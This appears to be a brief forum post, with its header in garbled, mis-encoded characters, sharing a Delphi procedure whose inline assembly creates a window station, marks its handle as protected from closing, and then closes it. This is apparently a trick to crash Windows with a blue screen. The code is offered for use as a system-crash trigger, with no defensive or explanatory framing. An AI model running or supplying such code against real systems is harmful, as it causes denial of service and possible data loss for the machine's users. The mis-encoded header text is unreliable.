À¶ÆÁ´úÂë--ÇëÔÚÐéÄâ»ú²âÊÔ~~
procedure TForm1.btn1Click(Sender: TObject);begin
asm
push esi
push 0
push $37F
push 0
push 0
call CreateWindowStationW
push 2
mov esi,eax
push 2
push esi
call SetHandleInformation
push esi
call CloseWindowStation
xor eax,eax
pop esi
retn
end;
end;
Ò³:
[1]